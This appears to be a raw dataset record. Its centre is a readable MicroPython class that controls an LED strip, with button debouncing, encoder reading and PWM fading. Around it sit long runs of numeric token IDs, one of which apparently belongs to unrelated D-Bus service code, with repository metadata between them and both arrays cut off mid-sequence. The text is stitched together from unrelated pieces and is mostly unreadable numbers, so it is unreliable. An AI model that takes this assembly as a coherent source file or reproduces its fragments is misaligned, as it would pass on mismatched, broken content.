6646, 29918, 7299, 29898, 15550, 3950, 29897, 363, 5153, 297, 553, 2395, 29962, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 742, 714, 29918, 4530, 1535, 2433, 294, 1495, 13, 1678, 822, 1284, 29918, 1609, 29918, 25118, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 1125, 13, 4706, 1480, 29889, 8382, 703, 29943, 1177, 4051, 29979, 29965, 11150, 29901, 1273, 29879, 1273, 29879, 16664, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 553, 2395, 353, 1583, 29889, 8899, 29889, 2886, 29918, 1609, 29918, 25118, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 25118, 876, 13, 4706, 736, 518, 14273, 29889, 643, 6646, 29918, 7299, 29898, 15550, 3950, 29897, 363, 5153, 297, 553, 2395, 29962, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 893, 742, 714, 29918, 4530, 1535, 2433, 294, 1495, 13, 1678, 822, 1284, 29918, 1609, 29918, 1767, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29918, 13506, 29892, 13, 462, 418, 995, 29918, 13087, 1125, 13, 4706, 1480, 29889, 8382, 703, 29943, 1177, 4051, 29979, 19143, 29901, 1273, 29879, 1273, 29879, 1273, 29879, 1273, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 13, 462, 29871, 11764, 29918, 13506, 29892, 995, 29918, 13087, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 553, 2395, 353, 1583, 29889, 8899, 29889, 2886, 29918, 1609, 29918, 1767, 29898, 710, 29898, 14273, 29918, 7247, 511, 13, 462, 462, 308, 851, 29898, 14357, 29918, 13506, 511, 13, 462, 462, 308, 851, 29898, 1767, 29918, 13087, 876, 13, 4706, 736, 518, 14273, 29889, 643, 6646, 29918, 7299, 29898, 15550, 3950, 29897, 363, 5153, 297, 553, 2395, 29962, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 2791, 29918, 5014, 287, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 1125, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 13, 4706, 10823, 29918, 978, 353, 1583, 29889, 14748, 7039, 29961, 14748, 29918, 333, 29962, 13, 4706, 3987, 353, 1583, 29889, 351, 1237, 29918, 4905, 29918, 13794, 292, 29918, 6768, 29961, 14748, 29918, 333, 29962, 13, 4706, 1480, 29889, 8382, 703, 1529, 29934, 29968, 29918, 8618, 27266, 1660, 29928, 29901, 1273, 29879, 16664, 29879, 1273, 29879, 1273, 29879, 613, 5153, 29918, 7247, 29892, 11764, 29892, 13, 462, 29871, 10823, 29918, 333, 29892, 3987, 29897, 13, 4706, 338, 1482, 353, 1583, 29889, 8899, 29889, 3502, 29918, 5014, 287, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 511, 13, 462, 462, 3986, 10823, 29918, 978, 29892, 851, 29898, 6768, 876, 13, 4706, 565, 338, 1482, 29901, 13, 9651, 1583, 3032, 5504, 29918, 3198, 29918, 333, 280, 29898, 14748, 29918, 978, 29892, 3987, 29897, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 2791, 29918, 5014, 519, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 1125, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 13, 4706, 10823, 29918, 978, 353, 1583, 29889, 14748, 7039, 29961, 14748, 29918, 333, 29962, 13, 4706, 3987, 353, 1583, 29889, 351, 1237, 29918, 4905, 29918, 13794, 292, 29918, 6768, 29961, 14748, 29918, 333, 29962, 13, 4706, 1480, 29889, 8382, 703, 1529, 29934, 29968, 29918, 8618, 23524, 6181, 29901, 1273, 29879, 16664, 29879, 1273, 29879, 1273, 29879, 613, 5153, 29918, 7247, 29892, 11764, 29892, 13, 462, 29871, 10823, 29918, 333, 29892, 3987, 29897, 13, 4706, 338, 1482, 353, 1583, 29889, 8899, 29889, 3502, 29918, 5014, 519, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 511, 13, 462, 462, 9651, 10823, 29918, 978, 29892, 851, 29898, 6768, 876, 13, 4706, 565, 338, 1482, 29901, 13, 9651, 1583, 3032, 5504, 29918, 3198, 29918, 333, 280, 29898, 14748, 29918, 978, 29892, 3987, 29897, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 742, 714, 29918, 4530, 1535, 2433, 29874, 294, 1495, 13, 1678, 822, 679, 29918, 5014, 519, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 1125, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 5159, 13, 4706, 1480, 29889, 8382, 703, 7194, 29918, 8618, 23524, 6181, 29901, 1273, 29879, 16664, 29879, 1273, 29879, 613, 5153, 29918, 7247, 29892, 11764, 29892, 10823, 29918, 333, 29897, 13, 4706, 736, 1583, 29889, 8899, 29889, 657, 29918, 5014, 519, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 876, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 742, 714, 29918, 4530, 1535, 2433, 29874, 29912, 2146, 29913, 1495, 13, 1678, 822, 1051, 29918, 351, 1237, 29898, 1311, 29892, 10823, 29918, 333, 1125, 13, 4706, 1480, 29889, 8382, 703, 24360, 29918, 10051, 3919, 29903, 29901, 1273, 29879, 613, 10823, 29918, 333, 29897, 13, 4706, 396, 29901, 11053, 10823, 1024, 304, 1353, 310, 8871, 310, 445, 10823, 13, 4706, 18139, 353, 9657, 29898, 17779, 29898, 5415, 2084, 29889, 2288, 2830, 11219, 742, 29871, 29896, 9601, 29896, 29962, 363, 5446, 2084, 297, 13, 462, 795, 1583, 29889, 11303, 1237, 29889, 5975, 22130, 13, 4706, 736, 18139, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 742, 714, 29918, 4530, 1535, 2433, 29874, 29898, 2146, 29897, 29884, 1495, 13, 1678, 822, 19356, 29918, 16202, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 1125, 13, 4706, 1480, 29889, 8382, 703, 8618, 27266, 1660, 29928, 29918, 17816, 29903, 29901, 1273, 29879, 1273, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 736, 1583, 29889, 8899, 29889, 5014, 287, 29918, 16202, 29898, 710, 29898, 14273, 29918, 7247, 876, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 20778, 742, 714, 29918, 4530, 1535, 2433, 294, 1495, 13, 1678, 822, 679, 29918, 11991, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29892, 1162, 332, 344, 1125, 13, 4706, 1480, 29889, 8382, 703, 7194, 29918, 3210, 6227, 8353, 1430, 29901, 1273, 29879, 1273, 29879, 16664, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 5159, 13, 4706, 553, 2395, 353, 1583, 29889, 8899, 29889, 657, 29918, 11991, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 511, 13, 462, 462, 4706, 1162, 332, 344, 29922, 11227, 29898, 276, 2764, 344, 876, 13, 4706, 736, 518, 14273, 29889, 643, 6646, 29918, 7299, 29898, 15550, 3950, 29897, 363, 5153, 297, 553, 2395, 29962, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 3787, 29918, 7564, 29918, 3859, 29898, 1311, 29892, 10823, 29918, 333, 29892, 2106, 1125, 13, 4706, 10823, 29918, 978, 353, 1583, 29889, 14748, 7039, 29961, 710, 29898, 14748, 29918, 333, 4638, 13, 4706, 1480, 29889, 8382, 703, 1254, 29949, 1525, 29918, 10192, 19713, 29901, 1273, 29879, 613, 10823, 29918, 978, 29897, 13, 4706, 565, 1583, 29889, 8899, 29889, 1254, 29949, 15989, 29918, 10192, 19713, 29901, 13, 9651, 1583, 29889, 8899, 29889, 8899, 29918, 14748, 29918, 3859, 29898, 14748, 29918, 978, 29892, 851, 29898, 3859, 876, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 29879, 742, 714, 29918, 4530, 1535, 2433, 29879, 1495, 13, 1678, 822, 2254, 29918, 7564, 29918, 3859, 29898, 1311, 29892, 10823, 29918, 333, 1125, 13, 4706, 10823, 29918, 978, 353, 1583, 29889, 14748, 7039, 29961, 710, 29898, 14748, 29918, 333, 4638, 13, 4706, 1480, 29889, 8382, 703, 29428, 29918, 10192, 19713, 29901, 1273, 29879, 613, 10823, 29918, 978, 29897, 13, 4706, 565, 1583, 29889, 8899, 29889, 1254, 29949, 15989, 29918, 10192, 19713, 29901, 13, 9651, 736, 1583, 29889, 8899, 29889, 1359, 29918, 14748, 29918, 3859, 29898, 14748, 29918, 978, 29897, 13, 4706, 736, 5124, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 294, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 2009, 29918, 19170, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29892, 22525, 1125, 13, 4706, 1480, 29889, 8382, 703, 16244, 29918, 8618, 23524, 4214, 29901, 1273, 29879, 1273, 29879, 16664, 29879, 22525, 1273, 29879, 613, 10823, 29918, 333, 29892, 13, 462, 29871, 5153, 29918, 7247, 29892, 11764, 29892, 518, 710, 29898, 29873, 29897, 363, 260, 297, 22525, 2314, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 13, 13, 4706, 270, 353, 1583, 29889, 8899, 29889, 657, 29918, 2783, 11709, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 876, 13, 4706, 1583, 29889, 1792, 3827, 333, 4619, 29871, 29896, 13, 13, 4706, 1583, 29889, 5182, 287, 29918, 2783, 11709, 29898, 14748, 29918, 333, 29892, 5153, 29918, 7247, 29892, 270, 29889, 25118, 29892, 11764, 29892, 13, 462, 462, 22525, 29892, 1583, 29889, 1792, 3827, 333, 29897, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 25436, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 12608, 2433, 893, 893, 1495, 13, 1678, 822, 716, 29918, 2783, 11709, 29898, 1311, 29892, 10004, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29892, 11764, 1125, 13, 4706, 1209, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 25436, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 12608, 2433, 893, 893, 294, 29890, 1495, 13, 1678, 822, 3646, 287, 29918, 2783, 11709, 29898, 1311, 29892, 10004, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29892, 11764, 29892, 13, 462, 9651, 22525, 29892, 1404, 29918, 3827, 1125, 13, 4706, 9995, 13, 4706, 9954, 284, 2665, 746, 263, 553, 11709, 338, 2665, 304, 777, 3646, 19518, 313, 1333, 13, 4706, 12672, 467, 13, 4706, 4803, 1319, 363, 29901, 13, 13, 4706, 334, 11004, 3730, 337, 1456, 292, 263, 553, 11709, 313, 8382, 11976, 29892, 470, 1404, 2009, 29897, 13, 4706, 334, 5169, 21219, 29037, 943, 304, 263, 716, 10823, 29889, 501, 8485, 746, 620, 9929, 278, 3593, 29889, 13, 4706, 334, 4124, 4925, 4464, 448, 1404, 1122, 6755, 607, 1831, 943, 679, 3638, 304, 1269, 13, 3986, 10823, 13, 13, 4706, 584, 3207, 10004, 29918, 333, 29901, 10004, 1178, 13, 4706, 584, 3207, 5153, 29918, 7247, 29901, 553, 11709, 5354, 13, 4706, 584, 3207, 318, 5416, 29901, 553, 11709, 318, 5416, 13, 4706, 584, 3207, 11764, 29901, 553, 11709, 11764, 13, 4706, 584, 3207, 22525, 29901, 1051, 310, 3646, 10823, 2983, 29889, 4059, 1237, 451, 297, 445, 1051, 13, 3986, 881, 11455, 445, 553, 11709, 29889, 13, 4706, 584, 3207, 1404, 29918, 3827, 29901, 5852, 565, 445, 338, 263, 1404, 2009, 3646, 292, 19518, 13, 3986, 2734, 297, 28923, 4464, 29889, 13, 4706, 9995, 13, 4706, 1209, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 25436, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 12608, 2433, 29890, 1495, 13, 1678, 822, 3593, 29918, 13322, 29898, 1311, 29892, 7272, 292, 29918, 7564, 29918, 3859, 1125, 13, 4706, 9995, 13, 4706, 9954, 284, 2665, 746, 278, 3593, 338, 6876, 292, 29889, 13, 4706, 584, 3207, 7272, 292, 29918, 7564, 29918, 3859, 29901, 14088, 3692, 19518, 1818, 3638, 13, 4706, 1009, 7463, 7797, 1891, 2106, 363, 8635, 29889, 13, 4706, 9995, 13, 4706, 1583, 29889, 735, 11407, 353, 5852, 13, 4706, 736, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 25436, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 12608, 2433, 1495, 13, 1678, 822, 373, 29918, 333, 280, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 9954, 284, 2665, 746, 278, 3593, 338, 28132, 29892, 474, 29889, 29872, 29889, 599, 29037, 943, 505, 1063, 13, 4706, 10902, 408, 19356, 470, 1889, 519, 491, 19518, 29889, 13, 4706, 9995, 13, 4706, 1209, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 1065, 29898, 25932, 29892, 3787, 29892, 5835, 29918, 6768, 1125, 13, 4706, 330, 3318, 29889, 28993, 29918, 2344, 580, 13, 4706, 4833, 375, 29889, 29887, 1982, 29889, 2344, 29918, 28993, 580, 13, 4706, 6535, 375, 29954, 6330, 18405, 29898, 842, 29918, 294, 29918, 4381, 29922, 5574, 29897, 13, 13, 4706, 3593, 353, 4833, 375, 29889, 7317, 16890, 580, 13, 4706, 1024, 353, 4833, 375, 29889, 5509, 29889, 16890, 1170, 703, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 613, 3593, 29897, 13, 4706, 3731, 29883, 353, 1067, 29879, 29898, 8262, 29892, 5591, 8262, 613, 3787, 29897, 13, 13, 4706, 3731, 29883, 29889, 3396, 7888, 353, 330, 3318, 29889, 6330, 18405, 580, 13, 4706, 1480, 29889, 3888, 703, 10399, 292, 1667, 2425, 23157, 13, 4706, 1018, 29901, 13, 9651, 3731, 29883, 29889, 3396, 7888, 29889, 3389, 580, 13, 4706, 5174, 313, 2558, 3377, 4074, 6685, 29892, 2184, 24365, 1125, 13, 9651, 565, 7431, 29898, 4501, 29883, 29889, 11303, 1237, 29897, 1405, 29871, 29900, 29901, 13, 18884, 1480, 29889, 3888, 703, 15870, 292, 304, 5040, 599, 19518, 6284, 29889, 5254, 315, 11742, 29899, 29907, 376, 13, 462, 308, 376, 351, 475, 304, 5040, 23157, 13, 18884, 396, 5040, 1364, 14952, 13, 18884, 3731, 29883, 29889, 816, 287, 29889, 845, 329, 3204, 580, 13, 18884, 396, 2244, 19532, 19518, 304, 12522, 3204, 28138, 669, 4078, 7463, 2106, 13, 18884, 1480, 29889, 3888, 703, 1252, 1103, 292, 1273, 29884, 901, 19518, 304, 6876, 313, 735, 29889, 1273, 29879, 19123, 13, 462, 308, 7431, 29898, 4501, 29883, 29889, 11303, 1237, 511, 3731, 29883, 29889, 11303, 1237, 29889, 8149, 580, 29961, 29900, 2314, 13, 18884, 3731, 29883, 29889, 8262, 29918, 13322, 29898, 8899, 29889, 1254, 29949, 15989, 29918, 10192, 19713, 29897, 13, 18884, 3787, 29889, 8899, 29918, 3859, 580, 13, 18884, 1018, 29901, 13, 462, 1678, 3731, 29883, 29889, 3396, 7888, 29889, 3389, 580, 13, 18884, 5174, 313, 2558, 3377, 4074, 6685, 29892, 2184, 24365, 1125, 13, 462, 1678, 565, 7431, 29898, 4501, 29883, 29889, 11303, 1237, 29897, 1405, 29871, 29900, 29901, 13, 462, 4706, 1480, 29889, 3888, 29898, 13, 462, 9651, 376, 3664, 599, 19518, 505, 11084, 29892, 6876, 292, 1661, 621, 6393, 1159, 13, 4706, 1480, 29889, 3888, 703, 20754, 3262, 8635, 856, 1159, 13, 4706, 3787, 29889, 8899, 29918, 3859, 580, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 903, 18816, 8489, 29918, 13789, 29898, 18816, 29892, 3515, 1125, 13, 4706, 396, 3967, 304, 6876, 5941, 368, 278, 937, 931, 29936, 565, 393, 947, 451, 664, 29892, 6876, 29889, 13, 4706, 396, 1153, 4637, 2184, 24365, 29892, 12624, 297, 1065, 580, 13, 4706, 10876, 29889, 13322, 29898, 29900, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 788, 29918, 25699, 29898, 1491, 16680, 1125, 13, 4706, 396, 14402, 2758, 22146, 4833, 375, 3211, 29973, 15447, 6790, 491, 1887, 4833, 375, 13, 4706, 396, 5285, 934, 470, 5177, 2286, 13, 4706, 1209, 13, 13, 1678, 822, 903, 29890, 504, 29882, 949, 29918, 4804, 29898, 1311, 29892, 1158, 29892, 334, 5085, 1125, 13, 4706, 330, 3318, 29889, 333, 280, 29918, 1202, 29898, 5696, 29892, 334, 5085, 29897, 13, 13, 1678, 822, 903, 816, 287, 29918, 21920, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29892, 11764, 29892, 3646, 1125, 13, 4706, 9995, 13, 4706, 3037, 839, 491, 1102, 287, 1203, 29892, 515, 29168, 3244, 29889, 2812, 1169, 3646, 287, 29918, 2783, 11709, 13, 4706, 1549, 3593, 3244, 29889, 13, 4706, 9995, 13, 4706, 1583, 3032, 29890, 504, 29882, 949, 29918, 4804, 29898, 13, 9651, 1583, 29889, 5182, 287, 29918, 2783, 11709, 29892, 13, 9651, 334, 29898, 14748, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29892, 11764, 29892, 518, 5182, 1402, 7700, 876, 13, 2 ]
ledstripcontroller.py
mattytrentini/led_strip
5
177383
import uasyncio as asyncio class LedStripController: def __init__(self, enc, button_pin, fader_pins): ''' enc should be an instance of Encoder. button_pin is expected to be an instance of machine.Pin. fader_pins is expected to be an iterable of machine.PWM's. ''' self.enc = enc self.is_on = False self.enc_cur_val = 511 self.fader_target_val = 0 self.button_pin = button_pin self.fader_pins = fader_pins self.button_pressed = False for fader in self.fader_pins: fader.duty(0) def toggle_led_state(self): self.button_pressed = True print('Button pressed!') async def switch_loop(self, enc): self.button_pressed = False while True: if self.button_pressed: # TODO should removedebouncing; should be handled outside of this class. # Shouldn't care that it's a button that triggers the change... asyncio.sleep_ms(100) # Debounce duration # Only alter state if button still pressed (not a transient event) if not self.button_pin.value(): if self.is_on: # Turning off, fading out print('Turning off at {}'.format(self.enc_cur_val)) self.fader_target_val = 0 else: # Turning on, fading in print('Turning on at {}'.format(self.enc_cur_val)) self.fader_target_val = enc._value = self.enc_cur_val self.button_pressed = False self.is_on = not self.is_on await asyncio.sleep_ms(100) async def encoder_loop(self, enc): oldval = 0 while True: if self.is_on: self.enc_cur_val = enc.value enc.cur_accel = max(0, enc.cur_accel - enc.accel) if oldval != self.enc_cur_val: print('Old enc. val: %i, new enc. val: %i' % (oldval, self.enc_cur_val)) self.fader_target_val = oldval = self.enc_cur_val await asyncio.sleep_ms(50) async def fader_loop(self): FADER_MAX_STEP = 5 FADER_DELAY_MS = 5 fader_cur_val = 0 while True: if self.fader_target_val > fader_cur_val: step = min(FADER_MAX_STEP, self.fader_target_val - fader_cur_val) elif self.fader_target_val < fader_cur_val: step = -min(FADER_MAX_STEP, fader_cur_val - self.fader_target_val) else: step = 0 fader_cur_val += step if abs(step) > 0: for fader in self.fader_pins: fader.duty(fader_cur_val) await asyncio.sleep_ms(FADER_DELAY_MS)
[ 1, 1053, 318, 294, 948, 3934, 408, 408, 948, 3934, 13, 13, 1990, 28934, 855, 6472, 2956, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 2094, 29892, 2826, 29918, 12687, 29892, 285, 1664, 29918, 29886, 1144, 1125, 13, 4706, 14550, 2094, 881, 367, 385, 2777, 310, 11346, 6119, 29889, 13, 9651, 2826, 29918, 12687, 338, 3806, 304, 367, 385, 2777, 310, 4933, 29889, 29925, 262, 29889, 13, 9651, 285, 1664, 29918, 29886, 1144, 338, 3806, 304, 367, 385, 4256, 519, 310, 4933, 29889, 29925, 26735, 29915, 29879, 29889, 29871, 13, 4706, 14550, 13, 4706, 1583, 29889, 3977, 353, 2094, 13, 4706, 1583, 29889, 275, 29918, 265, 353, 7700, 13, 4706, 1583, 29889, 3977, 29918, 2764, 29918, 791, 353, 29871, 29945, 29896, 29896, 13, 4706, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 353, 29871, 29900, 13, 4706, 1583, 29889, 3092, 29918, 12687, 353, 2826, 29918, 12687, 13, 4706, 1583, 29889, 29888, 1664, 29918, 29886, 1144, 353, 285, 1664, 29918, 29886, 1144, 13, 4706, 1583, 29889, 3092, 29918, 13120, 353, 7700, 13, 4706, 363, 285, 1664, 297, 1583, 29889, 29888, 1664, 29918, 29886, 1144, 29901, 13, 9651, 285, 1664, 29889, 29881, 329, 29891, 29898, 29900, 29897, 13, 13, 1678, 822, 20429, 29918, 839, 29918, 3859, 29898, 1311, 1125, 13, 4706, 1583, 29889, 3092, 29918, 13120, 353, 5852, 13, 4706, 1596, 877, 3125, 15385, 29991, 1495, 13, 13, 1678, 7465, 822, 4607, 29918, 7888, 29898, 1311, 29892, 2094, 1125, 13, 13, 4706, 1583, 29889, 3092, 29918, 13120, 353, 7700, 13, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 1583, 29889, 3092, 29918, 13120, 29901, 13, 18884, 396, 14402, 881, 6206, 774, 1309, 3277, 29936, 881, 367, 16459, 5377, 310, 445, 770, 29889, 13, 18884, 396, 10575, 29876, 29915, 29873, 2562, 393, 372, 29915, 29879, 263, 2826, 393, 23660, 278, 1735, 856, 13, 18884, 408, 948, 3934, 29889, 17059, 29918, 1516, 29898, 29896, 29900, 29900, 29897, 396, 7089, 21543, 14385, 13, 18884, 396, 9333, 10551, 2106, 565, 2826, 1603, 15385, 313, 1333, 263, 1301, 993, 1741, 29897, 13, 18884, 565, 451, 1583, 29889, 3092, 29918, 12687, 29889, 1767, 7295, 13, 462, 1678, 565, 1583, 29889, 275, 29918, 265, 29901, 13, 462, 4706, 396, 9603, 292, 1283, 29892, 285, 9382, 714, 13, 462, 4706, 1596, 877, 27407, 292, 1283, 472, 6571, 4286, 4830, 29898, 1311, 29889, 3977, 29918, 2764, 29918, 791, 876, 13, 462, 4706, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 353, 29871, 29900, 13, 462, 1678, 1683, 29901, 13, 462, 4706, 396, 9603, 292, 373, 29892, 285, 9382, 297, 13, 462, 4706, 1596, 877, 27407, 292, 373, 472, 6571, 4286, 4830, 29898, 1311, 29889, 3977, 29918, 2764, 29918, 791, 876, 13, 462, 4706, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 353, 2094, 3032, 1767, 353, 1583, 29889, 3977, 29918, 2764, 29918, 791, 13, 462, 1678, 1583, 29889, 3092, 29918, 13120, 353, 7700, 13, 462, 1678, 1583, 29889, 275, 29918, 265, 353, 451, 1583, 29889, 275, 29918, 265, 13, 9651, 7272, 408, 948, 3934, 29889, 17059, 29918, 1516, 29898, 29896, 29900, 29900, 29897, 13, 13, 1678, 7465, 822, 2094, 6119, 29918, 7888, 29898, 1311, 29892, 2094, 1125, 13, 13, 4706, 2030, 791, 353, 29871, 29900, 13, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 1583, 29889, 275, 29918, 265, 29901, 13, 18884, 1583, 29889, 3977, 29918, 2764, 29918, 791, 353, 2094, 29889, 1767, 13, 18884, 2094, 29889, 2764, 29918, 562, 2242, 353, 4236, 29898, 29900, 29892, 2094, 29889, 2764, 29918, 562, 2242, 448, 2094, 29889, 562, 2242, 29897, 13, 18884, 565, 2030, 791, 2804, 1583, 29889, 3977, 29918, 2764, 29918, 791, 29901, 13, 462, 1678, 1596, 877, 21648, 2094, 29889, 659, 29901, 1273, 29875, 29892, 716, 2094, 29889, 659, 29901, 1273, 29875, 29915, 1273, 313, 1025, 791, 29892, 1583, 29889, 3977, 29918, 2764, 29918, 791, 876, 13, 462, 1678, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 353, 2030, 791, 353, 1583, 29889, 3977, 29918, 2764, 29918, 791, 13, 9651, 7272, 408, 948, 3934, 29889, 17059, 29918, 1516, 29898, 29945, 29900, 29897, 13, 13, 1678, 7465, 822, 285, 1664, 29918, 7888, 29898, 1311, 1125, 13, 13, 4706, 383, 3035, 1001, 29918, 12648, 29918, 1254, 15488, 353, 29871, 29945, 13, 4706, 383, 3035, 1001, 29918, 2287, 18799, 29918, 4345, 353, 29871, 29945, 13, 13, 4706, 285, 1664, 29918, 2764, 29918, 791, 353, 29871, 29900, 13, 13, 4706, 1550, 5852, 29901, 13, 13, 9651, 565, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 